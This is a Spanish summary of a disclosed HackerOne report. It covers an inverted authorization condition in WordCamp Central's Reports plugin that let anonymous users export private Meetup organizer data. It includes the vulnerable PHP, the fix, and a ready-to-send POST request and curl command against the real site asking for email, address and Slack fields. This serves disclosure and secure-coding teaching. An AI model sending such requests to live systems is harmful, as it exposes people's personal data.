Reports
ALTA[AUTENTICACIÓN]#3871816

WordCamp Central: un && en lugar de || dejaba a cualquiera sin sesión exportar los datos privados de organizadores de Meetup

Una condición de autorización mal escrita en el plugin WordCamp Reports permitía a usuarios anónimos descargar un CSV con emails, direcciones y usuarios de Slack de los organizadores de Meetup.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El fallo estaba en el plugin WordCamp Reports que usa central.wordcamp.org, en concreto en la función Meetup_Details::export_to_file(), enganchada al hook admin_init. Esa función genera un CSV con los detalles de los grupos de Meetup y lo hace en modo privado ('public' => false), así que incluye campos de los organizadores que no deberían salir del equipo: email, dirección postal, usuario de Slack, nombre, usuarios de WordPress.org y comentarios internos.

La protección tenía que exigir dos cosas a la vez: un nonce válido y la capacidad view_wordcamp_reports. Pero la condición se escribió con && donde tocaba ||:

if ( ! wp_verify_nonce( $nonce, 'run-report' ) && current_user_can( CAPABILITY ) ) {
    return;
}

$options = array(
    'fields' => $fields,
    'public' => false, // includes private organizer fields
);

Leída tal cual, la función solo corta la ejecución cuando el nonce es inválido y además el usuario sí tiene permisos. Es decir, el único bloqueado es el usuario legítimo con un nonce inválido; cualquier visitante anónimo pasa. El resto de informes del mismo plugin, como class-meetup-sponsors.php, usan la forma correcta:

if ( ! wp_verify_nonce( $nonce, 'run-report' ) || ! current_user_can( CAPABILITY ) ) {
    return;
}

El investigador lo resumió con esta tabla de verdad de la condición rota:

| Nonce válido | Tiene view_wordcamp_reports | ¿Corta? | ¿Exporta? | |---|---|---|---| | No | No (anónimo) | No | Sí (vulnerable) | | No | Sí | Sí | No | | Sí | No | No | Sí (vulnerable) | | Sí | Sí | No | Sí (lo previsto) |

  • Activo: WordCamp.org (https://central.wordcamp.org)
  • Fichero: public_html/wp-content/plugins/wordcamp-reports/classes/report/class-meetup-details.php
  • Debilidad según HackerOne: Improper Access Control - Generic
  • Recompensa: sí, sin importe público. Enviado el 18 de julio de 2026 y divulgado el 5 de noviembre de 2026.

Pasos de reproducción

No hace falta cuenta ni ninguna condición previa.

  1. Sin cookies (por ejemplo, en una ventana privada), enviar un POST a un punto de wp-admin que dispare admin_init, como admin-ajax.php, con la acción de exportar, un nonce cualquiera y la lista de campos deseados:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: central.wordcamp.org
Content-Type: application/x-www-form-urlencoded

action=Export%20CSV&meetup-details-nonce=invalid&fields%5B%5D=Email&fields%5B%5D=Address&fields%5B%5D=Slack&fields%5B%5D=Organizer%20Name&fields%5B%5D=Extra%20Comments&fields%5B%5D=Name

Lo mismo con curl (el investigador advierte de usarlo solo para una confirmación mínima, sin extraer datos en masa):

curl -i -X POST 'https://central.wordcamp.org/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'action=Export CSV' \
  --data-urlencode 'meetup-details-nonce=invalid' \
  --data-urlencode 'fields[]=Email' \
  --data-urlencode 'fields[]=Address' \
  --data-urlencode 'fields[]=Slack' \
  --data-urlencode 'fields[]=Organizer Name' \
  --data-urlencode 'fields[]=Name'
  1. Comprobar que, con un usuario anónimo y un nonce inválido, la condición no hace el return anticipado.
  2. Ver que la respuesta es una descarga CSV generada por export_to_file_common() con los campos privados de los organizadores, no solo los públicos del informe.
  3. Como control, repetir la misma petición contra otra exportación del plugin que use ||, por ejemplo Meetup Sponsors: esa sí rechaza al usuario sin sesión. Solo Meetup Details estaba afectada.
  4. Opcionalmente, confirmarlo en el código público del repositorio WordPress/wordcamp.org (rama production), comparando la comprobación de export_to_file() en class-meetup-details.php con la de class-meetup-sponsors.php.

Impacto

Un atacante sin cuenta podía descargar, con una sola petición POST, un CSV con datos personales de los voluntarios y organizadores de Meetups gestionados por WordCamp.org: emails, direcciones físicas, usuarios de Slack y de WordPress.org, nombres y notas en texto libre. Los campos privados salen de get_private_data_fields() y de Meetup_Admin::meta_keys('organizer'), justo los que la propia documentación del plugin dice que no deben exponerse. No hacía falta ni nonce válido ni ningún permiso. El investigador apunta además que podría abusarse vía CSRF desde navegadores con acceso a wp-admin.

Remediación

El reporte figura como resuelto. La corrección propuesta es igualar la condición a la del resto de informes:

if ( ! wp_verify_nonce( $nonce, 'run-report' ) || ! current_user_can( CAPABILITY ) ) {
    return;
}

El investigador recomendó también revisar todos los export_to_file() del plugin buscando el mismo error de operador, usar comprobaciones que fallen cerradas (comprobar current_user_can al principio y check_admin_referer o wp_die si algo falla) y añadir una prueba de regresión: un POST anónimo con action=Export CSV no debe devolver contenido CSV.

Qué aprender de este caso

  • Las guardas escritas en negativo ("si no es válido y... entonces salir") son fáciles de invertir. Al auditar plugins de WordPress, busca condiciones que mezclen ! wp_verify_nonce y current_user_can y comprueba que el usuario anónimo cae siempre en el return; hacer la tabla de verdad, como aquí, lo deja en evidencia en un minuto.
  • Los manejadores enganchados a admin_init se ejecutan también para peticiones anónimas a admin-ajax.php. Cualquier exportación o acción colgada de ese hook debe comprobar permisos por sí misma, no dar por hecho que solo llegan administradores.
  • Cuando varias clases hermanas hacen lo mismo (aquí, una por informe), compara sus comprobaciones de seguridad entre sí: la que se desvía del patrón suele ser la vulnerable. Mejor aún, centralizar esa comprobación en un solo helper que todos llamen.
  • Si una función tiene un modo "privado" ('public' => false), ese modo debería exigir el permiso justo antes de reunir los datos, de forma que un error en la guarda de arriba no baste para filtrar información.